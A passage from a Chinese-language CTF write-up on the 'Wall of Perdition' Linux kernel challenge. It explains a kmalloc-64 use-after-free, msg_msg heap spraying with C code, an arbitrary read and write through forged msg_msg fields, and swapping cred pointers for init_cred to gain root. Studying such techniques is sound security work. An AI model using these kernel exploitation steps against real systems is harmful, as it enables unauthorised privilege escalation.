泄露cred地址:再次利用任意读,从init_task开始找到当前进程的task_struct(也可以调用 prctl SET_NAME来设置comm成员,以此标志来暴搜,详见 Google CTF Quals 2021 Fullchain writeup)。本题提供了vmlinux符号信息,task_struct->tasks偏移是0x398,该位置的前8字节为null,可以当作1个segment;real_cred和cred指针在偏移0x538和0x540处,前面8字节也是null。利用UAF改大msg_msg->m_ts,将msg_msg->next改为&task_struct 0x298-8,调用msgrcv()读内存。
篡改cred & real_cred指针:根据pid找到当前进程后,利用UAF篡改msg_msg->next指向&real_cred-0x8,调用msgsnd()写内存,即可将real_cred和cred指针替换为init_cred即可提权。
4. Wall of Perdition 复杂模式利用
特点:大小为kmalloc-64的UAF。
现有的任意写、任意释放技术: Four Bytes of Power: Exploiting CVE-2021-26708 in the Linux kernel 中介绍了如何伪造msg_msg->m_ts来实现任意写,也通过msg_msg->security指针实现了任意释放,但是本题关闭了SELinux,则msg_msg->security指针总是指向NULL,本题不适用。
4.1 步骤1——越界读泄露内核基址、msg_msg->m_list.next / prev创建2个消息队列:
[...]
void send_msg(int qid, int size, int c)
{
struct msgbuf
{
long mtype;
char mtext[size - 0x30];
} msg;
msg.mtype = 1;
memset(msg.mtext, c, sizeof(msg.mtext));
if (msgsnd(qid, &msg, sizeof(msg.mtext), 0) == -1)
{
perror("msgsnd");
exit(1);
}
}
[...]
// [1] 先调用msgget()创建两个队列,第一个标记为QID #0,第二个标记为QID #1。
if ((qid[0] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1)
{
perror("msgget");
exit(1);
}
if ((qid[1] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1)
{
perror("msgget");
exit(1);
}
// [2] 调用 add_rule() 向firewall_rules_in添加inbound规则,再调用 duplicate_rule() 复制到 firewall_rule_out,释放后还能从 firewall_rule_out[1] 访问,触发UAF
add_rule(0, buff, INBOUND);
duplicate_rule(0, INBOUND);
delete_rule(0, INBOUND);
send_msg(qid[0], 0x40, 'A'); // [3] 调用send_msg(),也即对msgsnd()的包装函数,分配3个消息。第1个大小为0x40, 位于队列 QID #0, 由于和刚刚释放的rule位于同一个kmalloc-64,所以能修改该消息的msg_msg头结构。
send_msg(qid[1], 0x40, 'B'); // [4] 第2个消息在队列QID #1中,大小为0x40字节
send_msg(qid[1], 0x1ff8, 0); // [5] 第3个消息在队列QID #1中,大小为0x1ff8字节
[...]
消息布局: QID #0 消息队列——橘色部分是第1个消息,堆块大小0x40,可通过 edit_rule() 完全控制。 QID #1消息队列——第1个消息,堆块大小为0x40,其 msg_msg->m_list.prev 指向消息队列 QID #1,m_list.next指向第2个消息,占两个kmalloc-4096。